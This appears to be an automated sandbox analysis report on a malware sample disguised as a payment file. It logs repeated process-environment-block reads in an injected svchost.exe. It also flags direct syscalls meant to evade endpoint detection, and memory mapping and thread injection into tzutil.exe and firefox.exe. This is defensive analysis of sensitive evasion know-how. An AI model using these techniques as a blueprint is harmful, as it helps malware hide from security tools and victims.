                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DEB50 mov eax, dword ptr fs:[00000030h]1_2_034DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CB7E mov eax, dword ptr fs:[00000030h]1_2_0342CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AEB1D mov eax, dword ptr fs:[00000030h]1_2_034AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345EB20 mov eax, dword ptr fs:[00000030h]1_2_0345EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345EB20 mov eax, dword ptr fs:[00000030h]1_2_0345EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F8B28 mov eax, dword ptr fs:[00000030h]1_2_034F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F8B28 mov eax, dword ptr fs:[00000030h]1_2_034F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03450BCB mov eax, dword ptr fs:[00000030h]1_2_03450BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03450BCB mov eax, dword ptr fs:[00000030h]1_2_03450BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03450BCB mov eax, dword ptr fs:[00000030h]1_2_03450BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430BCD mov eax, dword ptr fs:[00000030h]1_2_03430BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430BCD mov eax, dword ptr fs:[00000030h]1_2_03430BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430BCD mov eax, dword ptr fs:[00000030h]1_2_03430BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DEBD0 mov eax, dword ptr fs:[00000030h]1_2_034DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438BF0 mov eax, dword ptr fs:[00000030h]1_2_03438BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438BF0 mov eax, dword ptr fs:[00000030h]1_2_03438BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438BF0 mov eax, dword ptr fs:[00000030h]1_2_03438BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345EBFC mov eax, dword ptr fs:[00000030h]1_2_0345EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BCBF0 mov eax, dword ptr fs:[00000030h]1_2_034BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440BBE mov eax, dword ptr fs:[00000030h]1_2_03440BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440BBE mov eax, dword ptr fs:[00000030h]1_2_03440BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E4BB0 mov eax, dword ptr fs:[00000030h]1_2_034E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E4BB0 mov eax, dword ptr fs:[00000030h]1_2_034E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436A50 mov eax, dword ptr fs:[00000030h]1_2_03436A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440A5B mov eax, dword ptr fs:[00000030h]1_2_03440A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440A5B mov eax, dword ptr fs:[00000030h]1_2_03440A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346CA6F mov eax, dword ptr fs:[00000030h]1_2_0346CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346CA6F mov eax, dword ptr fs:[00000030h]1_2_0346CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346CA6F mov eax, dword ptr fs:[00000030h]1_2_0346CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DEA60 mov eax, dword ptr fs:[00000030h]1_2_034DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034ACA72 mov eax, dword ptr fs:[00000030h]1_2_034ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034ACA72 mov eax, dword ptr fs:[00000030h]1_2_034ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BCA11 mov eax, dword ptr fs:[00000030h]1_2_034BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346CA24 mov eax, dword ptr fs:[00000030h]1_2_0346CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345EA2E mov eax, dword ptr fs:[00000030h]1_2_0345EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03454A35 mov eax, dword ptr fs:[00000030h]1_2_03454A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03454A35 mov eax, dword ptr fs:[00000030h]1_2_03454A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03486ACC mov eax, dword ptr fs:[00000030h]1_2_03486ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03486ACC mov eax, dword ptr fs:[00000030h]1_2_03486ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03486ACC mov eax, dword ptr fs:[00000030h]1_2_03486ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430AD0 mov eax, dword ptr fs:[00000030h]1_2_03430AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03464AD0 mov eax, dword ptr fs:[00000030h]1_2_03464AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03464AD0 mov eax, dword ptr fs:[00000030h]1_2_03464AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346AAEE mov eax, dword ptr fs:[00000030h]1_2_0346AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346AAEE mov eax, dword ptr fs:[00000030h]1_2_0346AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA80 mov eax, dword ptr fs:[00000030h]1_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03504A80 mov eax, dword ptr fs:[00000030h]1_2_03504A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03468A90 mov edx, dword ptr fs:[00000030h]1_2_03468A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438AA0 mov eax, dword ptr fs:[00000030h]1_2_03438AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03438AA0 mov eax, dword ptr fs:[00000030h]1_2_03438AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03486AA4 mov eax, dword ptr fs:[00000030h]1_2_03486AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B0946 mov eax, dword ptr fs:[00000030h]1_2_034B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03456962 mov eax, dword ptr fs:[00000030h]1_2_03456962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03456962 mov eax, dword ptr fs:[00000030h]1_2_03456962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03456962 mov eax, dword ptr fs:[00000030h]1_2_03456962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347096E mov eax, dword ptr fs:[00000030h]1_2_0347096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347096E mov edx, dword ptr fs:[00000030h]1_2_0347096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347096E mov eax, dword ptr fs:[00000030h]1_2_0347096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D4978 mov eax, dword ptr fs:[00000030h]1_2_034D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D4978 mov eax, dword ptr fs:[00000030h]1_2_034D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BC97C mov eax, dword ptr fs:[00000030h]1_2_034BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE908 mov eax, dword ptr fs:[00000030h]1_2_034AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AE908 mov eax, dword ptr fs:[00000030h]1_2_034AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BC912 mov eax, dword ptr fs:[00000030h]1_2_034BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03428918 mov eax, dword ptr fs:[00000030h]1_2_03428918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03428918 mov eax, dword ptr fs:[00000030h]1_2_03428918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B892A mov eax, dword ptr fs:[00000030h]1_2_034B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C892B mov eax, dword ptr fs:[00000030h]1_2_034C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C69C0 mov eax, dword ptr fs:[00000030h]1_2_034C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A9D0 mov eax, dword ptr fs:[00000030h]1_2_0343A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034649D0 mov eax, dword ptr fs:[00000030h]1_2_034649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FA9D3 mov eax, dword ptr fs:[00000030h]1_2_034FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BE9E0 mov eax, dword ptr fs:[00000030h]1_2_034BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034629F9 mov eax, dword ptr fs:[00000030h]1_2_034629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034629F9 mov eax, dword ptr fs:[00000030h]1_2_034629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A0 mov eax, dword ptr fs:[00000030h]1_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034309AD mov eax, dword ptr fs:[00000030h]1_2_034309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034309AD mov eax, dword ptr fs:[00000030h]1_2_034309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B89B3 mov esi, dword ptr fs:[00000030h]1_2_034B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B89B3 mov eax, dword ptr fs:[00000030h]1_2_034B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B89B3 mov eax, dword ptr fs:[00000030h]1_2_034B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03442840 mov ecx, dword ptr fs:[00000030h]1_2_03442840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03460854 mov eax, dword ptr fs:[00000030h]1_2_03460854
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434859 mov eax, dword ptr fs:[00000030h]1_2_03434859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434859 mov eax, dword ptr fs:[00000030h]1_2_03434859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BE872 mov eax, dword ptr fs:[00000030h]1_2_034BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BE872 mov eax, dword ptr fs:[00000030h]1_2_034BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6870 mov eax, dword ptr fs:[00000030h]1_2_034C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C6870 mov eax, dword ptr fs:[00000030h]1_2_034C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BC810 mov eax, dword ptr fs:[00000030h]1_2_034BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov eax, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov eax, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov eax, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov ecx, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov eax, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452835 mov eax, dword ptr fs:[00000030h]1_2_03452835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A830 mov eax, dword ptr fs:[00000030h]1_2_0346A830
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D483A mov eax, dword ptr fs:[00000030h]1_2_034D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D483A mov eax, dword ptr fs:[00000030h]1_2_034D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345E8C0 mov eax, dword ptr fs:[00000030h]1_2_0345E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FA8E4 mov eax, dword ptr fs:[00000030h]1_2_034FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C8F9 mov eax, dword ptr fs:[00000030h]1_2_0346C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346C8F9 mov eax, dword ptr fs:[00000030h]1_2_0346C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430887 mov eax, dword ptr fs:[00000030h]1_2_03430887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BC89D mov eax, dword ptr fs:[00000030h]1_2_034BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4F40 mov eax, dword ptr fs:[00000030h]1_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4F40 mov eax, dword ptr fs:[00000030h]1_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4F40 mov eax, dword ptr fs:[00000030h]1_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4F40 mov eax, dword ptr fs:[00000030h]1_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D4F42 mov eax, dword ptr fs:[00000030h]1_2_034D4F42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342CF50 mov eax, dword ptr fs:[00000030h]1_2_0342CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346CF50 mov eax, dword ptr fs:[00000030h]1_2_0346CF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D0F50 mov eax, dword ptr fs:[00000030h]1_2_034D0F50
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00EFA66C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE81AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00EE81AC
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE8189 SetUnhandledExceptionFilter,0_2_00EE8189

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtClose: Direct from: 0x76F02B6C
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\tzutil.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: NULL target: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: NULL target: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\tzutil.exeThread register set: target process: 3052Jump to behavior
                Queues an APC in another process (thread injection)
